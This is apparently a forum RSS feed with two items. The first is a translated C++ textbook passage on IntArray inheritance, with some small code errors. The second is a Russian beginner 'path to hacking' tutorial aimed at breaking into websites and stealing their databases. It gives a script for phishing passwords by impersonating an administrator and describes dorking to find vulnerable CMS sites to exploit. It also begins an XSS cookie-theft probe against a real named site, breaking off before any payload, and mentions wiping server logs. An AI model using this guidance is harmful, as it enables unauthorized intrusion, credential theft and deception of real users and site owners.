						&lt;p&gt;class IntArray {&lt;br /&gt;public:&lt;br /&gt;&amp;#160; &amp;#160;// конструкторы&lt;br /&gt;&amp;#160; &amp;#160;explicit IntArray (int sz = DefaultArraySize);&lt;br /&gt;&amp;#160; &amp;#160;IntArray (int *array, int array_size);&lt;br /&gt;&amp;#160; &amp;#160;IntArray (const IntArray &amp;amp;rhs);&lt;br /&gt;&amp;#160; &amp;#160;// виртуальный деструктор&amp;#160; &amp;#160;virtual ~IntArray() { delete[] ia; }&lt;br /&gt;&amp;#160; &amp;#160;// операции сравнения:&amp;#160; &amp;#160;bool operator== (const IntArray&amp;amp;) const;&amp;#160; &amp;#160;bool operator!= (const IntArray&amp;amp;) const;&lt;br /&gt;&amp;#160; &amp;#160;// операция присваивания:&amp;#160; &amp;#160;IntArray&amp;amp; operator= (const IntArray&amp;amp;);&amp;#160; &amp;#160;int size() const { return _size; };&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; // мы убрали проверку индекса...&amp;#160; &amp;#160;virtual int&amp;amp; operator[](int index)&amp;#160; &amp;#160; &amp;#160; { return ia[index]; }&amp;#160; &amp;#160;virtual void sort();&lt;br /&gt;&amp;#160; &amp;#160;virtual int min() const;&amp;#160; &amp;#160;virtual int max() const;&amp;#160; &amp;#160;virtual int find (int value) const;&lt;br /&gt;protected:&amp;#160; &amp;#160;static const int DefaultArraySize = 12;&amp;#160; &amp;#160;void init (int sz; int *array);&lt;br /&gt;&amp;#160; &amp;#160;int _size;&amp;#160; &amp;#160;int *ia;}&lt;br /&gt;Открытые функции-члены по-прежнему определяют интерфейс класса, как и в реализации из предыдущего раздела. Но теперь это интерфейс не только базового, но и всех производных от него подклассов.&lt;br /&gt;Нужно решить, какие из членов, ранее объявленных как закрытые, сделать защищенными. Для нашего класса IntArray сделаем защищенными все оставшиеся члены.&lt;br /&gt;Теперь нам необходимо определить, реализация каких функций-членов базового класса может меняться в подклассах. Такие функции мы объявим виртуальными. Как уже отмечалось выше, реализация операции взятия индекса будет отличаться по крайней мере для подкласса IntArrayRC. Реализация операторов сравнения и функции size() одинакова для всех подклассов, следовательно, они не будут виртуальными.&lt;br /&gt;При вызове невиртуальной функции компилятор определяет все необходимое еще на этапе компиляции. Если же он встречает вызов виртуальной функции, то не пытается сделать этого. Выбор нужной из набора виртуальных функций (разрешение вызова) происходит во время выполнения программы и основывается на типе объекта, из которого она вызвана. Рассмотрим пример:&lt;/p&gt;
						&lt;p&gt;void init (IntArray &amp;amp;ia)&lt;br /&gt;{&lt;br /&gt;&amp;#160; &amp;#160;for (int ix=0; ix&amp;lt;ia.size(); ++ix)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; ia[ix] = ix;&lt;br /&gt;}&lt;br /&gt;Формальный параметр функции ia может быть ссылкой на IntArray, IntArrayRC или на IntSortedArray. Функция-член size() не является виртуальной и разрешается на этапе компиляции. А вот виртуальный оператор взятия индекса не может быть разрешен на данном этапе, поскольку реальный тип объекта, на который ссылается ia, в этот момент неизвестен.&lt;br /&gt;(В главе 17 мы будем говорить о виртуальных функциях более подробно. Там мы рассмотрим также и накладные расходы, которые влечет за собой их использование.)&lt;br /&gt;Вот как выглядит определение производного класса IntArrayRC:&lt;/p&gt;
						&lt;p&gt;#ifndef IntArrayRC_H&lt;br /&gt;#define IntArrayRC_H&lt;/p&gt;
						&lt;p&gt;#include &amp;quot;IntArray.h&amp;quot;&lt;br /&gt;class IntArrayRC : public IntArray {public:&amp;#160; IntArrayRC( int sz = DefaultArraySize );&amp;#160; IntArrayRC( const int *array, int array_size );&amp;#160; IntArrayRC( const IntArrayRC &amp;amp;rhs );&lt;br /&gt;&amp;#160; virtual int&amp;amp; operator[]( int ) const;&lt;br /&gt;private:&amp;#160; void check_range( int ix );};&lt;br /&gt;#endif&lt;br /&gt;Этот текст мы поместим в заголовочный файл IntArrayRC.h. Обратите внимание на то, что в наш файл включен заголовочный файл IntArray.h.&lt;br /&gt;В классе IntArrayRC мы должны реализовать только те особенности, которые отличают его от IntArray: класс IntArrayRC должен иметь свою собственную реализацию операции взятия индекса; функцию для проверки индекса и собственный набор конструкторов.&lt;br /&gt;Все данные и функции-члены класса IntArray можно использовать в классе IntArrayRC так, как будто это его собственные члены. В этом и заключается смысл наследования. Синтаксически наследование выражается строкой&lt;/p&gt;
						&lt;p&gt;class IntArrayRC : public IntArray&lt;br /&gt;Эта строка показывает, что класс IntArrayRC произведен от класса IntArray, другими словами, наследует ему. Ключевое слово public в данном контексте говорит о том, что производный класс сохраняет открытый интерфейс базового класса, то есть что все открытые функции базового класса остаются открытыми и в производном. Объект типа IntArrayRC может использоваться вместо объекта типа IntArray, как, например, в приведенном выше примере с функцией swap(). Таким образом, подкласс IntArrayRC – это расширенная версия класса IntArray.&lt;br /&gt;Вот как выглядит реализация операции взятия индекса:&lt;/p&gt;
						&lt;p&gt;IntArrayRC::operator[]( int index )&lt;br /&gt;{&lt;br /&gt;&amp;#160; &amp;#160;check_range( index );&lt;br /&gt;&amp;#160; &amp;#160;return _ia[ index ];&lt;br /&gt;}&lt;br /&gt;А вот реализация встроенной функции check_range():&lt;/p&gt;
						&lt;p&gt;#include &amp;lt;cassert&amp;gt;&lt;br /&gt;inline void IntArrayRC::check_range(int index)&lt;br /&gt;{&amp;#160; assert (index&amp;gt;=0 &amp;amp;&amp;amp; index &amp;lt; _size);}&lt;br /&gt;(Мы говорили о макросе assert() в разделе 1.3.)&lt;br /&gt;Почему проверка индекса вынесена в отдельную функцию, а не выполняется прямо в теле оператора взятия индекса? Потому что, если мы когда-нибудь потом захотим изменить что-то в реализации проверки, например написать свою обработку ошибок, а не использовать assert(), это будет сделать проще.&lt;br /&gt;В каком порядке активизируются конструкторы при создании производного класса? Первым вызывается конструктор базового класса, инициализирующий те члены, которые входят в базовый класс. Затем начинает работать конструктор производного класса, где мы должны проинициализировать только те члены, которые являются специфичными для подкласса, то есть отсутствуют в базовом классе.&lt;br /&gt;Однако заметим, что в нашем производном классе IntArrayRC нет новых членов, представляющих данные. Значит ли это, что нам не нужно реализовывать конструкторы для него? Ведь вся работа по инициализации членов данных уже проделана конструкторами базового класса.&lt;br /&gt;На самом деле конструкторы, как и деструкторы или операторы присваивания, не наследуются – это правило языка С++. Кроме того, конструктор производного класса обеспечивает механизм передачи параметров конструктору базового класса. Рассмотрим пример. Пусть мы хотим создать объект класса IntArrayRC следующим образом:&lt;/p&gt;
						&lt;p&gt;int ia[] = {0,1,1,2,3,5,8,13};&lt;br /&gt;IntArrayRC iarc(ia,8);&lt;br /&gt;Нам нужно передать параметры ia и 8 конструктору базового класса IntArray. Для этого служит специальная синтаксическая конструкция. Вот как выглядят реализации двух конструкторов IntArrayRC:&lt;/p&gt;
						&lt;p&gt;inline IntArrayRC::IntArrayRC( int sz )&lt;br /&gt;&amp;#160; &amp;#160;: IntArray( sz ) {}&lt;br /&gt;inline IntArrayRC::IntArrayRC( const int *iar, int sz )&amp;#160; &amp;#160;: IntArray( iar, sz ) {}&lt;br /&gt;(Мы будем подробно говорить о конструкторах в главах 14 и 17. Там же мы покажем, почему не нужно реализовывать конструктор копирования для IntArrayRC.)&lt;br /&gt;Часть определения, следующая за двоеточием, называется списком инициализации членов. Именно здесь, указав конструктор базового класса, мы можем передать ему параметры. Тела обоих конструкторов пусты, поскольку их работа состоит исключительно в передаче параметров конструктору базового класса. Нам не нужно реализовывать деструктор для IntArrayRC, так как ему просто нечего делать. Точно так же, как при создании объекта производного типа вызывается сначала конструктор базового типа, а затем производного, при уничтожении автоматически вызываются деструкторы – естественно, в обратном порядке: сначала деструктор производного, затем базового. Таким образом, деструктор базового класса будет вызван для объекта типа IntArrayRC, хотя тот и не имеет собственной аналогичной функции.&lt;br /&gt;Мы поместим все встроенные функции класса IntArrayRC в тот же заголовочный файл IntArrayRC.h. Поскольку у нас нет невстроенных функций, то создавать файл IntArrayRC.C не нужно.&lt;br /&gt;Вот пример простой программы, использующей классы IntArray и IntArrayRC:&lt;/p&gt;
						&lt;p&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;#include &amp;quot;IntArray.h&amp;quot;&lt;br /&gt;#include &amp;quot;IntArrayRC.h&amp;quot;&lt;br /&gt;void swap( IntArray &amp;amp;ia, int ix, int jx ){&amp;#160; int tmp = ia[ ix ];&amp;#160; ia[ ix ] = ia[ jx ];&amp;#160; ia[ jx ] = tmp;}&lt;br /&gt;int main(){&amp;#160; int array[ 4 ] = { 0, 1, 2, 3 };&amp;#160; IntArray ia1( array, 4 );&amp;#160; IntArrayRC ia2( array, 4 );&lt;br /&gt;&amp;#160; // ошибка: должно быть size-1&amp;#160; // не может быть выявлена объектом IntArray&amp;#160; cout &amp;lt;&amp;lt; &amp;quot;swap() with IntArray ia1&amp;quot; &amp;lt;&amp;lt; endl;&amp;#160; swap( ia1, 1, ia1.size() );&lt;br /&gt;&amp;#160; // правильно: объект IntArrayRC &amp;quot;поймает&amp;quot; ошибку&amp;#160; cout &amp;lt;&amp;lt; &amp;quot;swap() with IntArrayRC ia2&amp;quot; &amp;lt;&amp;lt; endl;&amp;#160; swap( ia2, 1, ia2.size() );&amp;#160; return 0;}&lt;br /&gt;При выполнении программа выдаст следующий результат:&lt;/p&gt;
						&lt;p&gt;swap() with IntArray ia1&lt;br /&gt;swap() with IntArrayRC ia2&lt;br /&gt;Assertion failed: ix &amp;gt;= 0 &amp;amp;&amp;amp; ix &amp;lt; _size,&lt;br /&gt;file IntArrayRC.h, line 19&lt;br /&gt;Упражнение 2.8&lt;br /&gt;Отношение наследования между типом и подтипом служит примером отношения является. Так, массив IntArrayRC является подвидом массива IntArray, книга является подвидом выдаваемых библиотекой предметов, аудиокнига является подвидом книги и т.д. Какие из следующих утверждений верны?&lt;br /&gt;(a) функция-член является подвидом функции&lt;br /&gt;(b) функция-член является подвидом класса&lt;br /&gt;(c) конструктор является подвидом функции-члена&lt;br /&gt;(d) самолет является подвидом транспортного средства&lt;br /&gt;(e) машина является подвидом грузовика&lt;br /&gt;(f) круг является подвидом геометрической фигуры&lt;br /&gt;(g) квадрат является подвидом треугольника&lt;br /&gt;(h) автомобиль является подвидом самолета&lt;br /&gt;(i) читатель является подвидом библиотеки&lt;/p&gt;
						&lt;p&gt;Упражнение 2.9&lt;br /&gt;Определите, какие из следующих функций могут различаться в реализации для производных классов и, таким образом, выступают кандидатами в виртуальные функции:&lt;/p&gt;
						&lt;p&gt;(a) rotate();&lt;br /&gt;(b) print();&lt;br /&gt;(c) size();&lt;br /&gt;(d) DateBorrowed(); // дата выдачи книги&lt;br /&gt;(e) rewind();&lt;br /&gt;(f) borrower(); // читатель&lt;br /&gt;(g) is_late(); // книга просрочена&lt;br /&gt;(h) is_on_loan(); // книга выдана&lt;br /&gt;Упражнение 2.10&lt;br /&gt;Ходят споры о том, не нарушает ли принципа инкапсуляции введение защищенного уровня доступа. Есть мнение, что для соблюдения этого принципа следует отказаться от использования такого уровня и работать только с закрытыми членами. Противоположная точка зрения гласит, что без защищенных членов производные классы невозможно реализовывать достаточно эффективно и в конце концов пришлось бы везде задействовать открытый уровень доступа. А каково ваше мнение по этому поводу?&lt;/p&gt;
						&lt;p&gt;Упражнение 2.11&lt;br /&gt;Еще одним спорным аспектом является необходимость явно указывать виртуальность функций в базовом классе. Есть мнение, что все функции должны быть виртуальными по умолчанию, тогда ошибка в разработке базового класса не повлечет таких серьезных последствий в разработке производного, когда из-за невозможности изменить реализацию функции, ошибочно не определенной в базовом классе как виртуальная, приходится сильно усложнять реализацию. С другой стороны, виртуальные функции невозможно объявить как встроенные, и использование только таких функций сильно снизит эффективность. Каково ваше мнение?&lt;/p&gt;
						&lt;p&gt;Упражнение 2.12&lt;br /&gt;Каждая из приведенных ниже абстракций определяет целое семейство подвидов, как, например, абстракция “транспортное средство” может определять “самолет”, “автомобиль”, “велосипед”. Выберите одно из семейств и составьте для него иерархию подвидов. Приведите пример открытого интерфейса для этой иерархии, включая конструкторы. Определите виртуальные функции. Напишите псевдокод маленькой программы, использующей данный интерфейс.&lt;/p&gt;
						&lt;p&gt;(a) Точка&lt;br /&gt;(b) Служащий&lt;br /&gt;(c) Фигура&lt;br /&gt;(d) Телефонный_номер&lt;br /&gt;(e) Счет_в_банке&lt;br /&gt;(f) Курс_продажи&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Farounaga)</author>
			<pubDate>Mon, 04 Apr 2011 10:25:54 +0400</pubDate>
			<guid>https://farounaga.forumbb.ru/viewtopic.php?pid=8#p8</guid>
		</item>
		<item>
			<title>Путь в хакеры</title>
			<link>https://farounaga.forumbb.ru/viewtopic.php?pid=3#p3</link>
			<description>&lt;p&gt;Здесь и сейчас, с этого момента, начинается твой путь в хакеры.&lt;br /&gt;Идеология хакинга.&lt;br /&gt;Хакинг – это почти религия. Если ты окунулся в этот мир, то не сможешь уйти из него никогда. Хакинг это не хобби, &lt;br /&gt;это даже не работа (хотя многие зарабатывают на этом), хакинг – это жизнь!&lt;br /&gt;У многих слово &amp;quot;хакер&amp;quot; ассоциируется с эдаким ботаником, день и ночь взламывающим банки и переводящим себе кучу денежек,&lt;br /&gt;неустанно беспрерывно сносящим сотни серверов одним ударом без причины. Хочу тебе сказать, что эта мысль в корне&lt;br /&gt;неправильная. В этом уроке мы пока еще не будем вскрывать банки (ну разве что банку пива:)), мы поговорим о том, кто такие&lt;br /&gt;хакеры, что они делают и какими мотивами руководствуются.&lt;/p&gt;
						&lt;p&gt;Согласно определению, хакер - человек, увлекающийся компьютерами, и испытывающий желание знать о них всё. Запомни, что просто&lt;br /&gt;так ничего не происходит, и У любого взлома есть цель, мотив, взломщик и ОТВЕТСТВЕННОСТЬ. При взломе хакером движет &lt;br /&gt;элементарное любопытство, желание проникнуть внутрь, найти уязвимость. Если ты со мной не согласен,&lt;br /&gt;тебе просто нет смысла читать дальше.&lt;br /&gt;Пожалуй, сразу стоит определиться с терминами.&lt;br /&gt;Ламер – это не тот кто не знает. Это человек, которые не стремится узнать. Причем, он как правило считает себя опытным хакером. Это классический ламер.&lt;br /&gt;Новичок – почему то всегда путают ламера с новичком. Новичок еще мало знает, но он стремится узнать. &lt;br /&gt;Хакер – это прежде всего создатель, а не взломщик. СМИ запудрила людям мозги, спутав хакеров и крекеров. Крэкер это как раз взломщик.&lt;br /&gt;Правда сейчас у этого термина немного другое значение. Сейчас крекером является человек, которые взламывает программы и игнорирует любые копирайты.&lt;br /&gt;Вообще хакер- это вселенский энтузиаст. Давайте будем энтузиастами!&lt;/p&gt;
						&lt;p&gt;Для начала ты должен уметь использовать поисковики. В Инете&lt;br /&gt;говорят, google - твой лучший друг. Если у тебя есть какой-либо вопрос, не спеши с ним на форум, поищи уже готовые ответы,&lt;br /&gt;ведь наверняка ты не первый, кто его задает. Если ты научишься владеть поисковиком, то дальнейшее изучение не составит проблем. На 90% твоих вопросов ответы есть в Интернете.&lt;br /&gt;Конечно, на форумах на адекватный вопрос всегда дадут ответ. Ты всегда можешь попросить помощи у более опытных людей.&lt;br /&gt;Но рано или поздно придет время самостоятельно принимать решения, находить выходы из ситуаций. Именно этому&lt;br /&gt;я тебя учу - ты должен обладать творческим мышлением, уметь адаптироваться к новым условиям. &lt;br /&gt;У всех новичков один вопрос – «С чего начать?»&lt;br /&gt;Я бы советовал начать с изучение английского языка, т.к. базовый язык для машин, как раз английский. Если у тебя с этим туго советую немедленно скачать учебник, либо записаться на курсы.&lt;br /&gt;Многие говорят, что нужно научиться быстро набирать текст. Это так. Но не стоит скачивать какие то специальные программы. Со временем ты сам не заметишь, как будешь вслепую набирать текст.&lt;/p&gt;
						&lt;p&gt;Ответственность.&lt;br /&gt;Что же за ответственность? Думаю догадаться несложно.&lt;br /&gt;Существуют статьи УК, в которых описаны наказания за&lt;br /&gt;компьютерные преступления. Приведу некоторые:&lt;/p&gt;
						&lt;p&gt;Статья 159. Мошенничество&lt;/p&gt;
						&lt;p&gt;Статья 165. Причинение имущественного ущерба&lt;br /&gt;путем обмана или злоупотребления доверием&lt;br /&gt;Статья 183. Незаконное получение и&lt;br /&gt;разглашение сведений, составляющих&lt;br /&gt;коммерческую или банковскую тайну&lt;/p&gt;
						&lt;p&gt;Статья 187. Изготовление или сбыт поддельных&lt;br /&gt;кредитных либо расчетных карт и иных&lt;br /&gt;платежных документов&lt;/p&gt;
						&lt;p&gt;Статья 272. Неправомерный доступ к&lt;br /&gt;компьютерной информации&lt;/p&gt;
						&lt;p&gt;Статья 273. Создание, использование и&lt;br /&gt;распространение вредоносных программ для&lt;br /&gt;ЭВМ &lt;/p&gt;
						&lt;p&gt;Статьи КоАП РСФСР&lt;/p&gt;
						&lt;p&gt;Статья 137. Изготовление и использование&lt;br /&gt;радиопередающих устройств без разрешения&lt;/p&gt;
						&lt;p&gt;Статья 138. Нарушение правил приобретения,&lt;br /&gt;установки, строительства и эксплуатации&lt;br /&gt;радиоэлектронных средств&lt;/p&gt;
						&lt;p&gt;Статья 139. Нарушение правил охраны линий и&lt;br /&gt;сооружений связи &lt;/p&gt;
						&lt;p&gt;Статьи УК РФ &lt;/p&gt;
						&lt;p&gt;Статья 137. Нарушение неприкосновенности&lt;br /&gt;частной жизни&lt;/p&gt;
						&lt;p&gt;Статья 138. Нарушение тайны переписки,&lt;br /&gt;телефонных переговоров, почтовых,&lt;br /&gt;телеграфных или иных сообщений&lt;/p&gt;
						&lt;p&gt;Статья 183. Незаконное получение и&lt;br /&gt;разглашение сведений, составляющих&lt;br /&gt;коммерческую или банковскую тайну &lt;/p&gt;
						&lt;p&gt;Статья 272. Неправомерный доступ к&lt;br /&gt;компьютерной информации&lt;/p&gt;
						&lt;p&gt;Статья 273. Создание, использование и&lt;br /&gt;распространение вредоносных программ для ЭВМ.&lt;/p&gt;
						&lt;p&gt;Предположим ты взломал сервер. Но так как ты новичок забыл затереть логи. И твой ip(айпи) адрес остался на сервере. &lt;br /&gt;Теперь если администратор обнаружит вторжение, он может смело может пожаловаться твоему провайдеру. &lt;br /&gt;Провайдер проверит, кому принадлежал это адрес в указанное время. И твой телефон и домашний адрес у них в руках.&lt;br /&gt;Далее - если будет написано заявление в милицию, тебя ждет одна из выше перечисленных статей.&lt;br /&gt;Но заявления может и не быть. Провайдер просто отключить тебя от Интернета. Это в лучшем случае.&lt;/p&gt;
						&lt;p&gt;Вообще могу сказать, что лучше всего хранить конфиденциальные данные&lt;br /&gt;на CD в запароленном архиве с очень сложным паролем и измененным расширение, либо на флеш носителе, как первый, так и второй уничтожить не составит труда.&lt;/p&gt;
						&lt;p&gt;Путь хакера.&lt;br /&gt;Здесь и сейчас, с этого момента, начинается твой путь в хакеры. Где-то в Интернете я видел интересное высказывание: лучший админ - это хакер, и наоборот - лучший хакер - злой админ.&lt;br /&gt;Отчасти это правда. Подобно тому, как хороший боец должен хорошо владеть оружием, хакер должен хорошо владеть компьютером. Они знают по нескольку языков программирования, разбираются в операционных&lt;br /&gt;системах, знают, как устроен компьютер и могут собрать и разобрать его за 45 секунд). Чтобы успешно находить уязвимости в &lt;br /&gt;скриптах, ты должен знать, по какому принципу они работают, а чтобы это понять, надо знать язык, на котором они написаны.&lt;br /&gt;Не обязательно знать прям всё, но что-либо альтернативное из каждой группы языков ты должен выбрать. Вот основные языки,&lt;br /&gt;которыми пользуются хакеры. Из каждой группы выбери один-два языка:&lt;/p&gt;
						&lt;p&gt;•Ассемблер&lt;br /&gt;•Delphi | С/C++ | Visual Basic&lt;br /&gt;•HTML, XML, WML&lt;br /&gt;•PHP | ASP | JSP | Perl&lt;br /&gt;•SQL и кoмпания &lt;/p&gt;
						&lt;p&gt;Не обязательно учить всё сразу, чтоб не говорил, что я тебя запугиваю. Жирным выделены обязательные языки. По возможности&lt;br /&gt;найди как можно больше учебников для дальнейшего изучения.&lt;/p&gt;
						&lt;p&gt;Ассемблер используется для взлома shareware-программ, для создания кряков и кейгенов. &lt;br /&gt;Дальше. HTML, PHP, ASP, Perl, JavaScript, VBS, JSP, и многие другие объединяют в одну группу - это&lt;br /&gt;&amp;quot;веб-языки&amp;quot;. При помощи них создаются веб-сайты, например HackZona написана на PHP. &lt;br /&gt;HTML - это не язык программирования. Его название переводится как &amp;quot;HyperText Markup Language&amp;quot; - &amp;quot;язык гипертекстовой разметки&amp;quot;. Т.е. при помощи него не программируют,&lt;br /&gt;а только &amp;quot;размечают&amp;quot; документ, показывая компьютеру, где какие данные должны быть. Как говорилось в предыдущем уроке, если&lt;br /&gt;при написании сайта ограничиваться только этим языком, то мы просто задаём: здесь рисунок, а тут ссылка, а тут такой-то текст.&lt;br /&gt;Таким образом, при каждой загрузке страницы мы увидим одно и то же: рисунок, ссылка, текст. А вот если прикрутить к документу&lt;br /&gt;скрипт, написанный на PHP, мы можем указать, что при загрузке рисунка можно выбрать из базы данных, например, ту картинку, что&lt;br /&gt;нравится пользователю. &lt;br /&gt;Таким образом, они друг друга дополняют. Ты должен чётко ощущать разницу между веб-дизайном и веб-программированием.&lt;/p&gt;
						&lt;p&gt;XML - это тоже язык гипертекстовой разметки, дающий большую гибкость, чем HTML, однако, его тебе пока учить не стоит. WML - разномидность XML, используется для создания wap-сайтов. &lt;br /&gt;PHP и Perl - наиболее часто используемые языки веб-программирования.&lt;/p&gt;
						&lt;p&gt;CSS - каскадные таблицы стилей. Это надстройка HTML, используется для визуального украшения документа - неподчёркнутые&lt;br /&gt;ссылки, цвет полосы прокрутки, рамки, анимация, и многое-многое другое. Оригинальная версия этой статьи написана с&lt;br /&gt;использованием css. Украшены ссылки, элементы списков, рамки для кода и правил, и др. Если ты читаешь статью с HackZona.ru, &lt;br /&gt;то перед тобой не оригинальная статья, хотя это никак не отражается на сути урока.&lt;/p&gt;
						&lt;p&gt;Delphi, С/C++/C#, Java, Visual Basic, QBasic, Dark Basic, Pascal, Fortran, etc. - это &amp;quot;прикладные&amp;quot; языки. Приложения, созданные&lt;br /&gt;в этих средах разработки, носят расширение *.exe . {+ хотя файлы php - тоже приложения +}&lt;/p&gt;
						&lt;p&gt;SQL - язык баз данных. Ты, наверное, слышал термин SQL injection? Мы к нему вернёмся через несколько уроков. Это уязвимость,&lt;br /&gt;позволяющая хакеру вытаскивать данные из базы, передавая их вместе с PHP-запросом. И для этого нужно изучить SQL.&lt;/p&gt;
						&lt;p&gt;Ты сам понимаешь, что учить тебя этим языкам я не буду, я буду учить тебя их использовать. То, что тебя интересует, найдёшь сам. &lt;br /&gt;Теперь поговорим немного об ОС (операционная система).&lt;br /&gt;Сейчас ты наверняка сидишь под Windows.&lt;br /&gt;Кроме windows существуют системы семейства unix, их еще называет *nix (никсы).&lt;br /&gt;Юникс систем очень много приведу несколько:&lt;br /&gt;Linux, BSD, Solaris.&lt;br /&gt;Пока об этом стоит только читать, но в будущем советую поставить какой нибудь дистрибутив Linux, так как эта система как никакая другая подходит для взлома.&lt;/p&gt;
						&lt;p&gt;Существуют разные подвиды хакеров, занимающиеся разными видами деятельности:&lt;br /&gt;•Хакинг&lt;br /&gt;•Крэкинг&lt;br /&gt;•Фрикинг&lt;br /&gt;•Социнженеринг/фишинг&lt;br /&gt;•Кардинг&lt;br /&gt;•Кодинг&lt;/p&gt;
						&lt;p&gt;Каждый занимается чем то своим. &lt;br /&gt;Но, например веб хакинг, социнженерию и кодинг можно объединить. Так как в деле одно может дополнять другое. Давайте разберемся со всем этим поподробнее:&lt;/p&gt;
						&lt;p&gt;Хакинг – этим собственно и занимаются хакеры. В этот раздел можно отнести взлом сайтов серверов поиск уязвимостей в скриптах &amp;amp; прикладных программах, &lt;br /&gt;написание эксплоитов (или другое название сплоиты)&lt;/p&gt;
						&lt;p&gt;Крэкеры (это не печенье;)) занимаются исследованием начинки программного обеспечения, в частности получение алгоритма &lt;br /&gt;генерации серийного номера в платных программах, исп. для создания кейгенераторов. Для этого надо знать ассемблер, чтобы понимать, как устроена программа.&lt;/p&gt;
						&lt;p&gt;Фрикеров часто связывают с электроникой. Фрикер - любитель халявы, который привык не платить за услуги, связанные с электроникой. К этому относят взлом таксофонов, счетчиков, теликов, и т.д. и т.п.&lt;br /&gt;Естественно, чтобы этим заниматься, нужно иметь глубокие познания в электронике. Мой папа по образованию - инженер-электронищик. Я 16 лет жил в одной квартире с &lt;br /&gt;величайшим фрикером, не зная этого.&lt;/p&gt;
						&lt;p&gt;Социальная инженерия - это единственная наука из всех названных, направленная не на взлом компьютера, а на взлом человека.&lt;br /&gt;Сейчас в Сети очень много ламмеров, и элементарно выманить их пароли оказывается достаточно просто. Например, выдать себя за&lt;br /&gt;админа почтового сервиса, или тех. консультанта организации, и сказать, что мол поступила жалоба на спам с Вашего ящика, если&lt;br /&gt;не хотите его удаления, отошлите такое-то письмо на почтовый робот такой-то, укажите свой логин, пароль, и этот код доступа:&lt;br /&gt;46655529 (цифры наугад), и он поверит. Социнженеринг(далее СИ) применяется там, где единственное уязвимое место в системе - &lt;br /&gt;пользователь. Пример: зачем ломать mail.ru если можно обмануть юзера?&lt;/p&gt;
						&lt;p&gt;Кардинг - манипуляции с кредитками, мардинг - маниакальное уничтожение взломанных систем. На этих пунктах мы останавливаться&lt;br /&gt;не будем по понятным причинам.&lt;/p&gt;
						&lt;p&gt;Конечно, кое-кто раскритикует такое разделение, но новички должны знать эти понятия. Не бывает так, что хакер опытен только&lt;br /&gt;в одном деле и безразличен к другим направлениям. Это деление чисто условное.&lt;/p&gt;
						&lt;p&gt;Кодинг - программирование с точки зрения хакерства.&lt;/p&gt;
						&lt;p&gt;Всё, ты уже стал на путь хакерства. Вводные уроки закончились, в следующий раз мы поговорим о более серьезных вещах. &lt;br /&gt;Я начну рассказывать тебе о том, как устроен Интернет, какая в нем адресация, что такое IP,порты,proxy и т.д.&lt;/p&gt;
						&lt;p&gt;Приложение&lt;br /&gt;Советую почитать книгу &amp;quot;HTML.Первые шаги&amp;quot;. Для ознакомления с HTML это просто НАХОДКА. Учебник написан понятным языком, с&lt;br /&gt;примерами кода, иллюстрациями. Респект автору. &lt;br /&gt;Для изучение PHP подойдет книга PHP в подлиннике.&lt;br /&gt;По линуксу(linux) подойдет книга «Введение в Linux»&lt;br /&gt;Все вышеприведенное можно найти в сети с помощью поисковика google. &lt;/p&gt;
						&lt;p&gt;Как раз будет полезно потренироваться искать информацию.&lt;/p&gt;
						&lt;p&gt;Примечание: курсивом будут выделены слова, которые возможно будут вам не понятны. Найти их значение вы сможете в конце статьи.&lt;/p&gt;
						&lt;p&gt;Кто и зачем?&lt;br /&gt;Вообще под понятием взлома я понимаю несанкционированный доступ к чему-либо. &lt;br /&gt;Мы ломаем веб сайты. Поэтому нам нужно получить доступ к административной панели, либо украсть базу данных сайта, либо просто изменить главную страницу. &lt;br /&gt;Все зависит от такого для чего производится взлом.&lt;br /&gt;Рассмотрим основные мотивы:&lt;/p&gt;
						&lt;p&gt;Изменения главной странички ради удовольствия &amp;amp;&amp;amp; мести. Это называется «дефейс» сайта&lt;br /&gt;Воровство базы данных - это может быть выгодно если мы например взломаем базу данных онлайн шопа (магазина). Либо производится взлом на заказ и заказчику нужна база&lt;br /&gt;Взлом производиться ради повышения прав на сервере. &lt;/p&gt;
						&lt;p&gt;Теперь поговорим о таком понятии как скрипт кидди.&lt;br /&gt;Скрипт кидди - это люди, как правило не слишком разбирающихся в хаке и программировании.&lt;br /&gt;Т.е. которые не могут самостоятельно найти уязвимость и реализовать ее. &lt;br /&gt;Так как же они взламывают? Они попросту используют чужие наработки.&lt;br /&gt;Допустим скрипт кидди нужно взломать один форум. Он узнает версию форума и идет на багтрак. Находит описание уязвимости и использует ее. &lt;br /&gt;Багтраком называют сайт на котором расположены описание уязвимостей форумов CMS, и где выкладываются эксплоиты.&lt;br /&gt;Либо второй вариант - для развлечения - скрипт кидди опять же идет на багтрак и выбирает уязвимость. Например, он выбирает сплоит для CMS php nuke 7.0. &lt;br /&gt;Далее он идет в поисковик и делает следущюий запрос: &lt;br /&gt;site: php nuke 7.0 - этим он получит список сайтов с установленной CMS Nuke&lt;br /&gt;Далее он просто использует эксплоит. Это кстати называется гугл хакинг.&lt;br /&gt;Как ни крутись, но через период «скрипт кидди» проходил каждый. И придется пройти тебе. Только вот некоторые двигаются дальше, а некоторые останавливаются на этом.&lt;/p&gt;
						&lt;p&gt;Какие бывают уязвимости? Три самых тривиальных уязвимостей это xss sql injection php include&lt;br /&gt;В каждом уроке я буду рассказывать понемногу про каждую из них.&lt;br /&gt;Сейчас разберем все вкратце не зацикливаясь на деталях уязвимости.&lt;/p&gt;
						&lt;p&gt;XSS. &lt;br /&gt;Цель у этой уязвимости одна - украсть Cookes файлы.&lt;br /&gt;Итак, сначала из за чего появляются Xss&lt;br /&gt;Происходит все это из-за отсутствия фильтрации входящих данных&lt;br /&gt;Разберем сразу на примере:&lt;br /&gt;&lt;a href=&quot;http://www.atlant.ws&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.atlant.ws&lt;/a&gt; Справа мы видим текстовое поля для поиска. Попробуем ввести простой html тег&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;И мы увидим линию (в HTML этот тег означает провести линию)&lt;br /&gt;В адресной строке мы видим:&lt;br /&gt;&lt;a href=&quot;http://www.atlant.ws/?set=search&amp;amp;www=false&amp;amp;query=&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.atlant.ws/?set=search&amp;amp;ww &amp;#8230; amp;query=&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Значит данные передаются GET запросом.&lt;br /&gt;Но от обычного тега опасности никакой. Попробуем ввести простенький javascript сценарий.&lt;br /&gt;&lt;a href=&quot;http://www.atlant.ws/?set=search&amp;amp;www=false&amp;amp;query=&quot; rel=&quot;nofollow&quot; 